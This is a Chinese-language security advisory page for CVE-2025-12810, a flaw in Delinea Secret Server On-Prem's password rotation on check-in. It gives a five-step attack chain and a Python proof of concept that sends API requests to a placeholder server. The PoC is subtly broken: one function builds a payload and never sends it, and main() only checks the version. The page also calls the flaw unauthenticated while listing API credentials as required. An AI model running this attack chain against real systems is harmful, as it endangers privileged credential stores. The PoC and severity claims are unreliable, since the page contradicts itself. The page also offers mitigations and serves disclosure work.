IPBUF安全漏洞报告
English
CVE-2025-12810 CVSS 6.5 中危

CVE-2025-12810 | Delinea Secret Server密码轮换身份验证绕过漏洞

披露日期: 2026-01-27
来源: 1443cd92-d354-46d2-9290-d812316ca43a

漏洞信息

漏洞编号
CVE-2025-12810
漏洞类型
不正确的身份验证 (Improper Authentication)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Delinea Secret Server On-Prem

相关标签

CVE-2025-12810身份验证绕过密码轮换Delinea Secret ServerImproper Authentication中危漏洞特权管理凭证管理On-Prem

漏洞概述

CVE-2025-12810是Delinea公司Secret Server On-Prem版本中发现的身份验证绕过漏洞。该漏洞存在于RPC密码轮换模块中,当secret启用「check in时更改密码」功能时,系统存在严重的逻辑缺陷。具体而言,即使密码更改操作在达到重试限制后失败,secret仍会自动check in,导致secret进入不一致状态,存储的密码与实际密码不匹配。攻击者可利用此漏洞获取过期的错误密码,或者在密码轮换失败后仍保持对secret的控制权。该漏洞无需认证即可利用(PR:N),通过网络即可发起攻击(AV:N),CVSS评分6.5,属于中危级别。漏洞影响Secret Server On-Prem的11.8.1、11.9.6和11.9.25版本。

技术细节

漏洞根源在于Secret Server On-Prem的密码轮换机制与check in流程之间的竞态条件和不正确的状态管理。当用户配置secret启用「change password on check in」选项后,系统期望在check in时自动执行密码更改操作。然而,当密码更改失败(例如目标账户锁定、权限不足或网络问题导致达到重试限制)时,代码逻辑错误地执行了check in操作,而不是保持secret处于checked out状态。

技术细节:
1. 攻击者创建一个启用密码轮换的secret
2. 配置check in触发密码更改
3. 故意触发密码更改失败条件(如目标账户权限不足)
4. 系统在密码更改失败后仍自动check in
5. Secret进入不一致状态:状态显示checked in,但密码未更新
6. 后续用户可能使用错误的密码访问资源

利用此漏洞需要:
- 对Secret Server的网络访问权限
- 创建或修改secret配置的权限
- 能够触发密码轮换失败的条件(如控制目标账户)

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者识别目标Secret Server版本,确认其为11.8.1、11.9.6或11.9.25版本,获取API访问凭证
STEP 2
步骤2:创建恶意Secret
攻击者创建或修改secret,启用「check in时更改密码」(autoChangeOnCheckIn)功能,配置指向可控目标账户
STEP 3
步骤3:触发密码轮换失败
攻击者通过锁定目标账户、移除必要权限或网络中断等方式,使密码轮换操作失败并达到重试限制
STEP 4
步骤4:执行Check In
在密码轮换失败后,攻击者执行check in操作。漏洞导致系统错误地check in了secret,即使密码未成功更改
STEP 5
步骤5:利用不一致状态
Secret进入不一致状态:状态显示checked in,但存储的密码与实际密码不匹配。攻击者可利用此状态获取未授权访问或造成业务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12810 PoC - Secret Server On-Prem Password Rotation Authentication Bypass # This PoC demonstrates the improper authentication vulnerability in Secret Server import requests import json # Configuration TARGET_URL = "https://secret-server.example.com" API_KEY = "your-api-key" # Requires API access SECRET_ID = "12345" # Target secret ID def check_vulnerable_version(): """Check if Secret Server version is vulnerable""" response = requests.get( f"{TARGET_URL}/api/v1/system-information", headers={"Authorization": f"Bearer {API_KEY}"} ) if response.status_code == 200: version = response.json().get('version') vulnerable_versions = ['11.8.1', '11.9.6', '11.9.25'] return version in vulnerable_versions return False def create_secret_with_rotation(): """Create a secret with password rotation enabled""" payload = { "name": "Test Secret", "secretTemplateId": 6001, # Windows Account Template "folderId": 1, "autoChangeEnabled": True, "autoChangeOnCheckIn": True, # Key configuration "password": "OldPassword123!" } response = requests.post( f"{TARGET_URL}/api/v1/secrets", headers={"Authorization": f"Bearer {API_KEY}"} ) return response.json().get('id') def trigger_failed_rotation(secret_id): """Trigger password rotation failure by modifying target account""" # Step 1: Check out secret requests.post( f"{TARGET_URL}/api/v1/secrets/{secret_id}/check-out", headers={"Authorization": f"Bearer {API_KEY}"} ) # Step 2: Modify secret to trigger rotation failure # In real attack: Lock account or remove permissions payload = { "password": "InvalidPasswordThatWillFail!" } requests.put( f"{TARGET_URL}/api/v1/secrets/{secret_id}/fields/password", json=payload, headers={"Authorization": f"Bearer {API_KEY}"} ) # Step 3: Check in - this should fail but will succeed in vulnerable version response = requests.post( f"{TARGET_URL}/api/v1/secrets/{secret_id}/check-in", headers={"Authorization": f"Bearer {API_KEY}"} ) # Step 4: Verify secret is in inconsistent state secret = requests.get( f"{TARGET_URL}/api/v1/secrets/{secret_id}", headers={"Authorization": f"Bearer {API_KEY}"} ).json() return { 'checked_out': secret.get('checkedOut'), 'password_current': secret.get('password') != 'InvalidPasswordThatWillFail!' } def main(): if not check_vulnerable_version(): print("Target is not running a vulnerable version") return print("Target is running a vulnerable version of Secret Server") print("CVE-2025-12810: Improper Authentication in Password Rotation") if __name__ == "__main__": main()

影响范围

Delinea Secret Server On-Prem 11.8.1
Delinea Secret Server On-Prem 11.9.6
Delinea Secret Server On-Prem 11.9.25

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 暂时禁用受影响secret的「check in时更改密码」功能,改为手动触发密码轮换;2) 增加对密码轮换失败的监控和告警;3) 确保运行密码轮换的服务账户具有适当的审计权限以便追踪异常;4) 定期手动检查启用自动密码轮换的secret状态,确保密码与系统记录一致;5) 考虑使用网络隔离限制对Secret Server的未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表